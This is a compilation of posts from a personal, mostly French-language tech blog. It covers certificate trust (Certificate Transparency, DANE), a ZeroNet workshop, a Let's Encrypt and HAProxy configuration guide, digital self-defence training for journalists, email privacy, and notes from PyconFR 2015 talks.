Certificate Transparency aims to remedy these certificate-based threats by making the issuance and existence of SSL certificates open to scrutiny by domain owners, CAs, and domain users.

-- Certificate Transparency

Autrement dit, avec ce système les CA doivent rendre public le fait qu'ils aient signé de nouveaux certificats intermédiaires. La signature est ajoutée à un journal sur lequel il n'est possible que d'écrire.

Les navigateurs vont alors vérifier que les certificats utilisés sont bien des certificats qui ont été ajoutés au journal.

Ici, toute l'intelligence est dans la vérification de ces journaux, qui permettent donc de valider/invalider des certificats racines ou intermédiaires.

Il me semble donc qu'il serait possible d'ajouter un certificat frauduleux le temps d'une attaque (et celui ci serait détecté et supprimé ensuite).

Certificate-Transparency n'est donc pas une solution contre une écoute globale mise en place par les gouvernements par exemple.

Si vous lisez bien l'anglais, je vous invite à aller lire cette description du problème et de la solution que je trouve très bien écrite.

DANE + DNSSEC

The DANE working group has developed a framework for securely retrieving keying information from the DNS [RFC6698]. This framework allows secure storing and looking up server public key information in the DNS. This provides a binding between a domain name providing a particular service and the key that can be used to establish encrypted connection to that service.

-- Dane WG

Une autre solution est appelée "DANE" et repose par dessus le protocole DNSSEC.

Je connais assez mal DNSSEC donc j'ai passé un peu de temps à lire des documents. L'impression finale que ça me laisse est que le problème est exactement le même que pour SSL: un certain nombre de personnes détiennent les clés et toute la sécurité repose sur cette confiance. Or il est possible que ces clés soient détenues par des personnes non dignes de confiance.

Secure DNS (DNSSEC) uses cryptographic digital signatures signed with a trusted public key certificate to determine the authenticity of data. -- https://en.wikipedia.org/wiki/DNS_spoofing

Et aussi:

It is widely believed[1] that securing the DNS is critically important for securing the Internet as a whole, but deployment of DNSSEC specifically has been hampered (As of 22 January 2010) by several difficulties:

The need to design a backward-compatible standard that can scale to the size of the Internet

Prevention of "zone enumeration" (see below) where desired

Deployment of DNSSEC implementations across a wide variety of DNS servers and resolvers (clients)

Disagreement among implementers over who should own the top-level domain root keys Overcoming the perceived complexity of DNSSEC and DNSSEC deployment

Solutions basées sur la blockchain

Une dernière piste semble être l'utilisation de la blockchain pour distribuer des clés par site.

La solution DNSChain me paraissait tout d'abord un bon point de départ mais la lecture de quelques critiques et interventions du développeur du projet m'ont fait changer d'avis.

Reste encore la piste de Namecoin Control que je n'ai pas encore creusée. Peut-être pour un prochain billet. Toute piste de réflexion est bien sur la bienvenue sur ces sujets!

Focusing on what matters

2016-03-17T00:00:00+01:00

I do have a problem with information.

You know. I have to check my emails, irc, twitter, my feed reader etc. I need to.

And this thing makes me feel uncomfortable at the end of the day, because I feel that I missed something. That I missed some good time, away from news and agitation.

Working remotely is sometimes hard. Hard because you need to at the same time be in the discussions channels and work on the interesting projects. A real myth.

In practice, I'm really bad at multi-tasking. I tried a few times the Pomodoro technique, which forces me to focus on a task for 25mn, but this split of my day into slices of 25mn breaks my natural flow.

So, what do I need? I tried to change my tools, it helped a bit. Still, I'm not focused like I would like to be.

Maybe that's just me who needs some more persuasion over myself, but the best way I found to work is to unplug the cable. Literally. At work, at some point I was using a RJ45 cable to connect to the Internet. When I wanted to work on something, I could just unplug this cable.

And that's amazing how you find yourself in the process to "check" something on the web. Mails, irc… well, you got the idea. You're litterally, without even noticing, switching to your browser an opening a new tab…

Of course, that Web isn't filled only with lolcats and twitter messages (even if I would love to see a pie chart with the repartition of lolcats VS the rest of the web's content), so sometimes you need some precious bit of information that's there. Fair enough. plug the cable, do what you need to do, and unplug. Alexis, unplug!

It also helps to have some fair bit of documentation available directly on my machine (I used to have the python docs, I should get it back!)

I'm feeling adventurous, so I'll try something new starting tomorrow, and I'll report back in here my findings. Here's the challenge:

Check emails only once a day. Do not do it in the morning, before working, to keep my mind clear. I would say at 2pm (after lunch). (This doesn't mean I will not send mails tho)
Stay away from the Internet during the morning. I'll not connect if I don't need to.

Let's see how it goes :)

Retours sur un atelier ZeroNet

2016-03-17T00:00:00+01:00

Mardi dernier se tenait une cryptoparty dans les locaux de l'INSA de Rennes.

L'évènement s'étant rempli au delà de toutes les espérances, on m'a proposé de venir y tenir un atelier, que j'ai proposé sur ZeroNet, un petit projet fort sympathique qui pourrait devenir une nouvelle manière de distribuer le Web, permettant notamment d'éviter la censure.

Avant toute autre chose, merci énormément à l'équipe de la bibliothèque de l'INSA pour l'organisation de cet évènement qui à une réelle portée politique.

Un peu d'histoire

Il me semble que Tim Bernes Lee (l'inventeur du Web) avait prévu le Web comme un protocole décentralisé. Chacun hébergerait ses données et les servirait aux autres, qui pourraient alors y accéder.

Avec ce fonctionnement, impossible alors d'accéder à des sites si leur auteur n'est pas en ligne. Qu'à cela ne tienne, on s'est mis à avoir des machines qui restent connectées au réseau 24 heures par jour. Et puis une machine ne suffisant plus, on a eu des fermes de machines dans des data centers etc afin de supporter les milliers d'utilisateurs des sites.

Un Web décentralisé

ZeroNet permet (entre autres) de répondre à ce problème en proposant une manière alternative de distribuer le Web, en pair à pair. Lors d'une visite d'un site:

Vous contactez un tracker BitTorrent pour connaitre la liste des autres visiteurs du site (les pairs).
Vous demandez aux pairs de vous donner les fichiers du site.
Vous validez que les fichiers servis sont bien les bons (en vérifiant la signature attachée).

N'importe quel visiteur devient alors un pair, qui sert le site aux autres visiteurs.

Parmi les nombreux avantages de cette approche, je note particulièrement que:

Il est très difficile de censurer un site — Il est sur l'ensemble des machines des visiteurs.
Les attaques par fingerprinting sont impossibles: le navigateur Web se connecte à un serveur proxy local.
Vous détenez directement vos données et (par design) ne les donnez pas à des silos (Facebook, Google, etc.)

Si vous êtes interessés par une démonstration rapide, j'ai enregistré une vidéo de 10 minutes où je parle en anglais avec une voix très grave.

Atelier

Pour l'atelier, j'ai choisi de faire une présentation rapide du projet (j'ai traduit les slides anglais pour l'occasion — accès aux sources) avant d'installer ZeroNet sur les machines et de l'utiliser pour publier un site.

Partager sur le réseau local

Nous avons eu des soucis à cause du réseau (un peu congestionné) sur lequel les ports utilisés pour la discussion entre pairs étaient fermés. Il est bien sur possible de faire tourner le tout de manière indépendante du reste du réseau, mais je n'avais pas prévu le coup.

Voici donc comment faire pour contourner le souci:

Installer et lancer un tracker BitTorrent (De manière surprenante, rien n'est packagé pour debian pour l'instant) J'ai choisi d'installer OpenTracker
Ensuite lancer ZeroNet avec des options spécifiques.

$ python zeronet.py --trackers udp://localhost:6969 --ip_external 192.168.43.207
$ python zeronet.py --trackers udp://192.168.43.207:6969 --ip_external 192.168.43.172

Il est nécessaire de spécifier l'adresse IP externe que chaque nœud expose pour éviter qu'elle n'essaye d'aller la trouver par elle même: nous voulons l'adresse du réseau local, et non pas l'adresse internet.

La prochaine fois je tenterais de venir avec un HotSpot Wifi et un tracker BitTorrent dans la poche!

Questions / Réponses

Il y avait quelques questions intéressantes auxquelles je n'ai pas toujours su répondre sur le moment. Après quelques recherches, je rajoute des détails ici.

Torrent + Tor = brèche de sécu ?

Il me semblait avoir entendu parler de problèmes de dé-anonymisation lors de l'utilisation de BitTorrent par dessus Tor.

Dans certains cas, certains clients torrents (uTorrent, BitSpirit, etc) écrivent directement votre adresse IP dans l'information qui est envoyée au tracker et/ou aux autres pairs. — https://blog.torproject.org/blog/bittorrent-over-tor-isnt-good-idea

Ce n'est pas le cas de ZeroNet, ce qui évacue le souci.

ZeroMail, c'est lent non ?

Une des applications de démo, ZeroMail, propose un mécanisme qui permet de s'envoyer des messages chiffrés sur un réseau pair à pair. L'approche choisie est de chiffrer les messages avec la clé du destinataire et de le mettre dans un pot commun. Tout le monde essaye de déchiffrer tous les messages, mais ne peut déchiffrer que les siens.

Cela permet de ne pas fuiter de méta-données, à l'inverse de PGP.

Je n'ai en fait pas de réponse claire à donner à cette question: l'auteur de ZeroNet me disait que 10MB (la limite de taille d'un site, par défaut) correspondait à beaucoup de place pour stocker des messages, et qu'il était possible de supprimer les anciens messages une fois qu'ils sont lus par exemple.

Une autre solution à laquelle je pensait était de créer un ZeroSite pour chaque récipient, mais on connait à ce moment là le nombre de messages qu'un utilisateur peut recevoir.

Je vois plusieurs problèmes avec le design actuel de ZeroMail (il me semble assez facile d'y faire un déni de service par exemple). A creuser.

Comment héberger des très gros sites ?

Par exemple, comment faire pour héberger Wikipedia ?

Il semble que la meilleure manière de faire serait de séparer Wikipedia en un tas de petites ressources (par catégorie par ex.). Les gros médias pourraient être considérés optionnels (et donc téléchargés uniquement à la demande)

Est-ce qu'on à vraiment besoin d'un tracker ?

Le support d'une DHT est souhaité, mais pour l'instant pas encore implémenté. L'utilisation de la DHT BitTorrent n'est pas une option puisque Tor ne supporte pas UDP.

L'horizon

2016-03-02T00:00:00+01:00

headline : Temps de changer d'horizon. Mon départ de Mozilla et le début d'une nouvelle histoire. image : images/horizon.jpg

L'Utopie, c'est l'horizon. C'est ce qui permet d'avoir une direction, de mettre un pied devant l'autre, de savoir vers où marcher.

Il y a presque 4 ans et demi, je commençais à travailler, en décembre, pour Mozilla. Je me rappelle bien de ces premiers instants un peu magiques, qui ont eu lieu juste avant une descente de cave en Bourgogne avec Tarek pour y déguster quelques saveurs de vins différentes.

Quatre ans plus tard, je me retrouve à coder sur Daybed, mon petit projet perso, devenu Kinto avec une équipe de personnes plus talentueuses et sympathiques les unes que les autres (Niko, Rémy, Mat, si vous me lisez…).

Mozilla a bien évolué en quelques années: les petits bureaux ou j'avais atterri se sont transformés en palace où il est possible d'accueillir des membres de la communauté du logiciel libre de manière quotidienne.

De 14 personnes dans les bureaux Parisiens, nous sommes passés à une 40aine (et de \~500 salariés à 1100 dans le monde).

Grandir autant en si peu de temps est un challenge difficile à tenir, qui nécessite des réorganisations et bien souvent dans une structure de cette taille, de la hiérarchisation. En 4 ans j'ai eu au moins 5 changements de supérieurs, pour finalement arriver à une situation plutôt convenable (mais quand même !)

J'ai choisi de rejoindre Mozilla parce que j'ai besoin de causes à défendre, qui me saisissent et qui me guident. Aujourd'hui, une des visions qui m'anime, c'est celle que d'autres ont déjà ouverte: celle de données et de vie privée qui sont rendues à leurs utilisateurs.

Et je veux faire en sorte de réaliser ces «rêves d'un monde meilleur», ce qui veut dire pour moi qu'il est temps de partir vers des horizons plus propices à cette vision.

Lesquels ? Cela reste à construire (mais je vous le dis, y'a du Kinto dedans !)

La suite ?

Sans m'étaler, je veux prendre du temps pour quelques projets autour du stockage de données (via Kinto), de l'auto défense numérique (via des formations) et de la fabrication de bière artisanale (parce que bon, on se refait pas !)

Évidemment, plein d'envies diverses et variées, envie de me balader un peu et d'expérimenter des choses collectivement...

On se recroisera surement :)

Let's Encrypt + HAProxy

2016-02-11T00:00:00+01:00

Note : Cet article n'est plus à jour. Il est maintenant (2018) possible d'installer des certificats SSL Let's Encrypt d'une manière beaucoup plus simple, en utilisant certbot (et le plugin nginx certbot --nginx).

It’s time for the Web to take a big step forward in terms of security and privacy. We want to see HTTPS become the default. Let’s Encrypt was built to enable that by making it as easy as possible to get and manage certificates.

-- Let's Encrypt

Depuis début Décembre, la nouvelle autorité de certification Let's Encrypt est passée en version Beta. Les certificats SSL sont un moyen de 1. chiffrer la communication entre votre navigateur et le serveur et 2. un moyen d'être sur que le site Web auquel vous accédez est celui auquel vous pensez vous connecter (pour éviter des attaques de l'homme du milieu).

Jusqu'à maintenant, il était nécessaire de payer une entreprise pour faire en sorte d'avoir des certificats qui évitent d'avoir ce genre d'erreurs dans vos navigateurs:

Maintenant, grâce à Let's Encrypt il est possible d'avoir des certificats SSL gratuits, ce qui représente un grand pas en avant pour la sécurité de nos communications.

Je viens de mettre en place un procédé (assez simple) qui permet de configurer votre serveur pour générer des certificats SSL valides avec Let's Encrypt et le répartiteur de charge HAProxy.

Je me suis basé pour cet article sur d'autres articles, dont je vous recommande la lecture pour un complément d'information.

Validation des domaines par Let's Encrypt

Je vous passe les détails d'installation du client de Let's Encrypt, qui sont très bien expliqués sur leur documentation.

Une fois installé, vous allez taper une commande qui va ressembler à:

letsencrypt-auto certonly --renew-by-default
--webroot -w /home/www/letsencrypt-requests/ \
-d hurl.kinto-storage.org \
-d forums.kinto-storage.org

Le webroot est l'endroit ou les preuves de détention du domaine vont être déposées.

Lorsque les serveurs de Let's Encrypt vont vouloir vérifier que vous êtes bien à l'origine des demandes de certificats, ils vont envoyer une requête HTTP sur http://domaine.org/.well-known/acme-challenge, ou il voudra trouver des informations qu'il aura généré via la commande letsencrypt-auto.

J'ai choisi de faire une règle dans haproxy pour diriger toutes les requêtes avec le chemin .well-known/acme-challenge vers un backend nginx qui sert des fichiers statiques (ceux contenus dans /home/www/letsencrypt-requests/).

Voici la section de la configuration de HAProxy (et la configuration complete si ça peut être utile):

frontend http
    bind 0.0.0.0:80
    mode http
    default_backend nginx_server

    acl letsencrypt_check path_beg /.well-known/acme-challenge
    use_backend letsencrypt_backend if letsencrypt_check

    redirect scheme https code 301 if !{ ssl_fc } !letsencrypt_check

backend letsencrypt_backend
    http-request set-header Host letsencrypt.requests
    dispatch 127.0.0.1:8000

Et celle de NGINX:

server {
    listen 8000;
    server_name letsencrypt.requests;
    root /home/www/letsencrypt-requests;
}

Installation des certificats dans HAProxy

Vos certificats SSL devraient être générés dans /etc/letsencrypt/live, mais ils ne sont pas au format attendu par haproxy. Rien de grave, la commande suivant convertit l'ensemble des certificats en une version compatible avec HAProxy:

cat /etc/letsencrypt/live/domaine.org/privkey.pem /etc/letsencrypt/live/domaine.org/fullchain.pem > /etc/ssl/letsencrypt/domaine.org.pem

Et ensuite dans la configuration de haproxy, pour le (nouveau) frontend https:

bind 0.0.0.0:443 ssl no-sslv3 crt /etc/ssl/letsencrypt

Faites bien attention à avoir un frontend https pour tous vos sites en HTTPS. Pour moi cela ressemble à ça.

Une fois tout ceci fait, redémarrez votre service haproxy et zou !

Automatisation

Pour automatiser un peu tout ça, j'ai choisi de faire ça comme suit:

Un fichier domaine dans letsencrypt/domains/domain.org qui contient le script letsencrypt.
Un fichier d'installation de certificats dans letsencrypt/install-certs.sh qui s'occupe d'installer les certificats déjà générés.

Et voila ! Le tout est dans un dépot github, si jamais ça peut vous servir, tant mieux !

Ateliers d'autodéfense numérique

2016-01-14T00:00:00+01:00

Il y a huit mois, je me rendais compte de l'importance du choix des outils pour faire face à la surveillance généralisée, et notamment en rapport au chiffrement des données. Une de mes envies de l'époque était l'animation d'ateliers.

Je compte donc:

Organiser des ateliers de sensibilisation aux outils de communication, envers mes proches;

Utiliser la communication chiffrée le plus souvent possible, au moins pour rendre le déchiffrement des messages plus longue, "noyer le poisson".

-- Chiffrement

J'ai mis un peu de temps à mettre le pied à l'étrier, mais je ressors finalement du premier atelier que j'ai co-animé avec geb, auprès d'un public de journalistes.

Pour cette première édition l'idée était à la fois d'aller à la rencontre d'un public que je connais mal, de leur donner des outils pour solutionner les problèmes auxquels ils font parfois face, et de me faire une idée de ce que pouvait être un atelier sur l'autodéfense numérique.

L'objectif pour ce premier atelier était de:

Échanger autour des besoins et faire ressortir des histoires ou le manque d'outillage / connaissances à posé problème, dans des situations concrètes;
Se rendre compte des "conduites à risque", faire peur aux personnes formées pour qu'elles se rendent compte de l'état actuel des choses;
Proposer des solutions concrètes aux problèmes soulevés, ainsi que le minimum de connaissance théorique pour les appréhender.

1. Faire ressortir les problèmes

Afin de faire ressortir les problèmes, nous avons choisi de constituer des petits groupes de discussion, afin de faire des "Groupes d'Interview Mutuels", ou "GIM":

l’animateur invite les participants à se regrouper par trois, avec des personnes qu’on connaît moins puis invite chacun à livrer une expérience vécue en lien avec le thème de la réunion et les deux autres à poser des questions leur permettant de bien saisir ce qui a été vécu.

-- «Pour s'écouter», SCOP Le Pavé.

De ces GIMs nous avons pu ressortir quelques histoires, gravitant autour de:

La protection des sources (d'information): Comment faire pour aider quelqu'un à faire "fuiter" des données depuis l'intérieur d'une entreprise ?
Le chiffrement de ses données: Comment éviter de faire "fuiter" des données importantes lors d'une perquisition de matériel ?

2. Faire peur

Un des premiers objectifs est de faire peur, afin que tout le monde se rende compte à quel point il est facile d'accéder à certaines données. Grégoire m'avait conseillé quelques petites accroches qui ont ma foi bien marché:

J'ai demandé aux présent.e.s de:

donner leur mot de passe à voix haute devant les autres: a priori personne ne le fera;
venir se connecter à leur compte email depuis mon ordinateur. J'ai piégé une personne, qui est venu pour taper son mot de passe.

Cela à été un bon moyen de parler de l'importance des traces que l'on peut laisser sur un ordinateur, et de la confiance qu'il faut avoir dans le matériel que l'on utilise, à fortiori si ce ne sont pas les vôtres.

Pour continuer à leur faire peur, après une brève explication de ce qu'est SSL nous avons montré comment il était facile de scruter le réseau à la recherche de mots de passe en clair.

3. Proposer des solutions concrêtes

Une fois que tout le monde avait pleinement pris sonscience des problématiques et n'osait plus utiliser son ordinateur ou son téléphone, on à commencé à parler de quelques solutions. Plusieurs approches étaient possibles ici, nous avons choisi de présenter quelques outils qui nous semblaient répondre aux attentes:

On a expliqué ce qu'était Tails, et comment l'utiliser et le dupliquer.
On a pu faire un tour des outils existants sur Tails, notamment autour de l'anonymisation de fichiers et la suppression effective de contenus.
Certaines personnes ont pu créer une clé tails avec la persistance de configurée.
Nous nous sommes connectés au réseau Tor et testé que nos adresses IP changeaient bien à la demande.
Nous avons utilisé CryptoCat par dessus Tor, afin de voir comment avoir une conversation confidentielle dans laquelle il est possible d'échanger des fichiers.

Retours

D'une manière générale, pour une formation de trois heures et demi, je suis assez content de l'exercice, et de l'ensemble des sujets que nous avons pu couvrir. Il y a beaucoup de place pour l'amélioration, notamment en amont (j'avais par exemple oublié d'amener avec moi suffisamment de clés USB pour utiliser Tails).

La plupart des retours qu'on a pu avoir jusqu'à maintenant sont positifs, et il y a l'envie d'aller plus loin sur l'ensemble de ces sujets.

La suite

Il y a beaucoup de sujets que nous n'avons pas abordés, ou uniquement survolés, à cause du manque de temps disponible. Idéalement, il faudrait au moins une journée entière pour couvrir quelques sujets plus en détail (on peut imaginer avoir une partie théorique le matin et une partie pratique l'après-midi par exemple).

J'ai choisi volontairement de ne pas aborder le chiffrement des messages via PGP parce que je pense que la protection que ce média propose n'est pas suffisante, mais je suis en train de revenir sur ma décision: il pourrait être utile de présenter l'outil, à minima, en insistant sur certaines de ses faiblesses.

Un compte twitter à été créé recemment autour des crypto-party à Rennes, si vous êtes interessés, allez jeter un coup d'œil!

Je n'ai pas trouvé de ressources disponibles par rapport à des plans de formation sur le sujet, j'ai donc décidé de publier les nôtres, afin de co-construire avec d'autres des plans de formation.

Ils sont pour l'instant disponibles sur Read The Docs. Tous les retours sont évidemment les bienvenus !

Le mail doit-il mourir ?

2015-11-24T00:00:00+01:00

J'utilise quotidiennement le protocole email, tant bien que mal, tout en sachant que l'ensemble de mes messages passent en clair sur le réseau pour la plupart de mes conversations, puisque trop peu de monde utilise le chiffrement des messages.

Et même si j'arrive à convaincre certains de mes proches à installer PGP, je ne suis pas satisfait du résultat: les méta-données (qui contacte qui à quel moment, et pour lui dire quoi) transitent de toute manière, elles, en clair, à la vue de tous.

Ce problème est lié directement au protocole email: il est necessaire de faire fuiter ces meta-données (au moins le destinataire) pour avoir un protocole mail fonctionnel.

Le mail répond à un besoin de communication asynchrone qui permet des conversations plus réfléchies qu'un simple chat (miaou). Il est tout à fait possible d'utiliser certaines technologies existantes afin de construire le futur de l'email, pour lequel:

Les méta-données seraient chiffrées — Il n'est pas possible de savoir qui communique avec qui, et quand;
Le chiffrement serait fort (et protégé d'une phrase de passe ?);
La fuite d'une clé de chiffrement utilisée dans un échange ne permette pas de déchiffrer l'ensemble des échanges (forward secrecy);
Il ne soit pas possible de réutiliser les données comme preuve pour incriminer l'emmeteur du message (deniability);

Avec au moins ces besoins en tête, il semble qu'une revue de l'ensemble des projets existants pointe du doigt vers pond, ou vers Signal.

Malheureusement, Pond est le projet d'une seule personne, qui veut plutôt utiliser ce code comme démonstration du concept en question.

Rencontres python francophones, 2015

2015-11-02T00:00:00+01:00

J'ai pris quelques notes durant la conférence annuelle de PyconFR, qui avait lieu à Pau cette année, et les ai publiées entre deux étapes des vacances qui ont suivi. Je prends maintenant un peu plus de temps pour ranger toutes ces notes au bon endroit.

C'était un excellent cru: l'organisation était vraiment impressionnante (merci , si vous me lisez !). Et puis comme toujours l'occasion de recroiser quelques copains, et d'en découvrir quelques autres... J'en ai profité pour parler de Kinto (voici d'ailleurs les slides de la présentation que j'ai faite).

Parmis les conférences qui m'ont marquées, je vous conseille celle de Benoit Bryon, sur Hospital, qui parle de heartbeat, ou de comment tester vos projets en prod, et celle sur Geo Alchemy, par Éric Lemoine. Et bien sur, celle de Mathieu Leplatre sur Cliquet, le toolkit qui rassemble les bonnes pratiques que nous souhaitons mettre en avant chez Mozilla services, mais là, je suis tout sauf impartial !

Sinon, il peut être interessant de jeter un coup d'oeil au compte rendu de la table ronde sur la diversité, si c'est un sujet qui vous touche. Encore beaucoup de choses à faire sur le sujet, bien sur, mais cette table ronde était un pas nécessaire dans la bonne direction. Un groupe de travail sur le sujet est en train de se constituer au sein de l'association.

L'ensemble des notes que j'ai pu prendre sont disponibles dans la section PyconFR 2015.

PyconFR 2015 — Assemblée générale

2015-10-18T00:00:00+02:00

Note

Voici quelques notes prises durant la PyconFR 2015, à Pau. N'hésitez pas à les completer si besoin.

Mot de feth sur Nelle, qui était une présidente très présente. Merci !

Passé

Il existe des communautés locales à Lyon Grenoble, Nantes. Des Afpyro ont été organisés dans toutes ces villes + Rennes + Marseille Support pour 2 Django Carrots. Par rapport au mentoring, très peu de retours, peut etre de nouvelles choses à faire.

FOSDEM 2015 était complet. Il y avait une salle python tojours pleine. Dsicussions sur la diversité.

Futur

Amandine propose d'organiser des soirées à NUMA l'an prochain. Global code retreat: participation Migrer le serveur de l'AFPY Reboot des status: nos pratiques ne sont pas en ligne avec nos status. Mise en place de mentoring pour python.

Status

Comité directeur renouvelé par tiers. Il est composé de 18 personnes. Les discussions qui sont dans le CD n'en sortent pas, et les discussions sont donc effectuées en priuvées.

L'idée actuelle serait de réduire le CD de 18 à 9 personnes. Tout le travail serait fait en dehors du CD. Il est possible de mettre en place un groupe de travail pour travailler sur l'évolution de la charte.

Il faut faire évoluer les status: ils ne sont pas actuellement bien faits par rapport à notre utilisation.

PyconFR 2015 — Hospital - des tests en prod

2015-10-18T00:00:00+02:00

Note

Voici quelques notes prises durant la PyconFR 2015, à Pau. N'hésitez pas à les completer si besoin.

Speaker: Benoit Bryon, Peopledoc.

Pour une procédure de déploiement, comment est-ce qu'on valide que tout va bien une fois que tout est dépoyé ? Si on a une application très simple (upload et envoi de fichiers).

Pour des applications plus complexes, il y a beaucoup de choses à tester (base de données, cache, email, etc). Beaucoup de parties sont utiles: reverse proxy, django, base de données etc.

Lors d'un déploiement, comment faire pour vérifier que tout tourne lorsque tout est déployé ?

Comment faire ?

Les tests permettent de tester hors sol.
Le provisionning permet de valider que tout tourne correctement, mais
simplement au démarrage. Les pannes ne sont pas détectées.
Le logging va permettre de detecter les erreurs, mais trop tard.
Le monitoring permet d'avoir une vue de l'exterieur.

Hostpital propose de faire des assertions sur la configuration, l'environnement, en cours de fonctionnement. Ce sont les developeurs qui ajoutent ces assertions.

Cela peut servir à valider un déploiement, pour etre rassuré une fois que le déploiement effectué. Cela peut aussi service à surveiller un service et diagnostiquer les problèmes.

Hospital

::: pip install hospital

Hospital est un outil en python. On définit des tests, de la même manière que l'on définit des tests unitaires. On fait des assertions, comme pour les tests unitaires. Hospital propose des helpers pour les cas courants: assert_http_response ou assert_ping.

La vue est une vue de l'intérieur. La différence avec le monitoring est que l'on teste la connectivité entre les services (exemple d'une requete elasticsearch qui échoue depuis un service django).

Pour la supervision, les healthchecks sont lancés avec une ligne de commande hospital-cli. Il est possible de lancer également ces tests avec nose ou py.test.

Il est aussi possible de faire le monitoring avec une API HTTP hospital serve.

Les lacunes de hospital

Les healthchecks sont fait actuellement en synchrone. Cela peut prendre du temps. Il pourrait etre interessant de lancer des taches de manière distribuée / en paralelle.

Il pourrait etre utile de faire la distinction entre les smoketests et les diagnostiques: les premiers sont des petits checks qui permettent de dire si ça marche, de manière très simple. De l'autre coté, les diagnostiques seraient eux plus fins.

Wrap up

Validez votre configuration, la connectivité avec les services externes. Faites des tests souvent !

PyconFR 2015 — We don't need your loop

2015-10-18T00:00:00+02:00

Note

Voici quelques notes prises durant la PyconFR 2015, à Pau. N'hésitez pas à les completer si besoin.

Speaker: serge_sans_paille.

Retour sur le passé des boucles: ASM, fortran, C. Avec APL, la boucle est cachée au fur et à mesure des évolutions. Écrire une boucle ne devrait pas etre exprimer comment atteindre le resultat.

En python, par exemple, il vaut mieux utiliser sum plutôt que de faire l'addition nous même (pour faire une addition des elements d'une liste).

Actuellement, le compilateur python est lent si on utilise numpy.sum sur des matrices complexes.

Comment aller plus vite?

Cython est assez compliqué, il faut savoir ce que l'on fait pour optimiser et écrire du bon code Cython.

Avec pythran, l'intelligence est dans le compilateur, qui permet d'écrire notemment des boucles correctement.

En donnant plus d'informaitons au compilateur, plutôt que de faire des boucles, cela lui permet d'avoir un contexte qui lui permet d'optimiser le code.

Par contre, cela veut dire que plus de connaissances sont necessaire pour lire le code python.

pythran permet de compiler directement vers du C++ sans avoir à changer son code de base (python). C'est utile pour du code numpy notemment.

Questions

Possible de paralelliser de manière explicite ou implicite.

C'est très utile pour les gens qui font du "number crunching". Est-ce que c'est utile pour d'autres domaines d'application (Web)?

Pas vraiment. CPython est déjà bien fait pour ces cas d'utilisation.

Est-il possible de lancer pythran sans faire de commentaires ?

C'est possible mais cela ne servira pas à grand chose. Il est necessaire de connaitre le type des objets qui sont utilisés lors des boucles.

Est-ce que vous songez à un compilateur à la volée ?

De gros efforts ont été faits dernièrement pour diminuer le temps de compilation. Mais pour une fonction qui renvoie None prends de l'ordre d'une seconde ou une demi seconde. Ce n'est pas très utile pour un compilateur à la volée puisqu'il faudrait des gains de perfs supérieurs à cela.

PyconFR 2015 — Cliquet

2015-10-17T00:00:00+02:00

Note

Voici quelques notes prises durant la PyconFR 2015, à Pau. N'hésitez pas à les completer si besoin.

Speaker: Mathieu Leplatre (@leplatrem), Mozilla

Toolkit HTTP, pour éventuellement faire des microservices.

Origines
Protocole
Toolkit
Conversation

Origines

Stockage de données, Cloud Services, Mozilla. Le boulot, c'est de faire des APIs. On nous demande de faire des APIs, tout le temps.

Souvent, les mêmes questions sont à l'ordre du jour. Heartbeat, codes d'erreurs, etc. L'inventaire de tout ce qui est attendu d'une API, au dela de ce qui est la valeur ajoutée du service.

Définition d'un protocole. Définir une API REST n'est pas aussi évident qu'il y parait. Il faut définir les formats de JSON, les status, etc.

La réutilisation de certaines protocoles existants était possible (Sync, en production depuis quelques années).

Réutiliser du code nous permettait et faire un template pour démarrer plus facilement, pour se concentrer sur le métier de l'API. Puisque les besoins ne sont pas toujours les mêmes, avoir une boite à outil permet de choisir ce que l'on souhaite.

Protocole

Création d'un protocole qui respecte les bonnes pratiques. CORS, avoir les bons codes de status, arrêter de se poser toujours les mêmes questions. Contrairement à ce qu'on imagine, la spécification HTTP n'est pas si facile à suivre. Plutôt que d'écrire un document, un toolkit à été créé.
Les ops ont besoin de quelques endpoints: un heartbeat (monitoring) des endpoints de batch, un endpoint "hello", pour connaitre le type de service, ses URLs etc.
La service renvoie toujours un JSON avec la description de l'erreur. Cela permet d'avoir tout le temps la même gestion des erreurs. Utilisation du header "backoff" qui permet de demander aux clients d'arreter de faire des requetes durant une durée spécifée par le serveur.
Pour les resources "REST", quelques règles sont définies: quel est le format du JSON, quel est la syntaxe du querystring pour filtrer, ordonner, gérer les opérations concurentes, etc.
Comment la validation fonctionne ? La pagination ? La définition des permissions ? Les erreurs.

Définir le protocole une seule fois permet de se mettre d'accord avec les Ops. On ne créé pas une RFC pour l'instant, il faut qu'on valide ce qu'on a fait, il est necessaire de valider notre approche.

Toolkit

La stack en place est basée sur Pyramid et Cornice. Autre chose aurait pu petre utilisé. Mais pyramid à été choisi pour son approche simpliste et qui permet de rajouter de la complexité au fur et à mesure.

Cliquet propose de faire l'ensemble du boilerplate, la lecture du protocole, et vous permet de créer les backends souhaités.

Il est possible de choisir les methodes HTTP acceptables, les URLs à utiliser etc. Tweaker l'API est possible, la chose qui reste toujouts stable est le protocole.

le toolkit vise à faire quelque chose de pluggable. Tout est controllable depuis la configuration.

Pour le deploiement, cela veut dire que le monitoring est déjà connecté, et il est possible de changer la configuration depuis un fichier .ini.

Il est aussi possible de faire du profiling en ajoutant deux lignes de code, qui permet de générer des graphs qui permettent d'identifier les goulots d'étranglement.

Microservices ?

Cliquet apporte une manière standard de surveiller, deployer, configurer des services.
Il est possible de se focaliser sur la logique de l'application, en faisait une abstraction des backends, etc.
Le fait de figer l'API permet d'avoir des clients génériques que l'on peu réutiliser d'une application à l'autre.

Cliquet est utilisé pour

Kinto, un service générique de stpclage de données.
Syncto, un proxy pour Sync en utilisant le protocole.
La liste de lecture, service qui à été shutdown.

Questions

Qu'est-ce qui est pluggable ? Les choix qui sont fait dans cliquet concernent le protocole. Le toolkit est lui fait de manière "pluggable". Il est par exemple possible de changer le backend, l'authentification, le cache ou les permissions.
Quelles sont les parties non standard? Est-il prévu de representer ça via une RFC ? Le seul sujet qui pourrait etre utile dans une RFC serait de définir les headers attendus pour la validation et l'écriture concurrentielle. L'ensemble de ce qui est proposé est standard.
Existe-il un client JavaScript, comme pour Kinto ? Actuellement, non. Par contre, Kinto.js est prévu pour que la partie commune entre les APIs (le protocole) peut etre extrait.

PyconFR 2015 — Geoalchemy

2015-10-17T00:00:00+02:00

Note

Voici quelques notes prises durant la PyconFR 2015, à Pau. N'hésitez pas à les completer si besoin.

Speaker: Eric Lemoine, Camp to camp. (@elemoine)

Bibliothèque python basée sur SQL alchemy, pour interagir avec des bases de données geographiques / spatiales.

Une base de donnée optimisée pour representer et rechercher des données qui representent des objets dans un espace géométrique.

Il est possible d estocker des ligne,s de polygones, des points. Il y a une colonne géometrie pour stocker ces données.
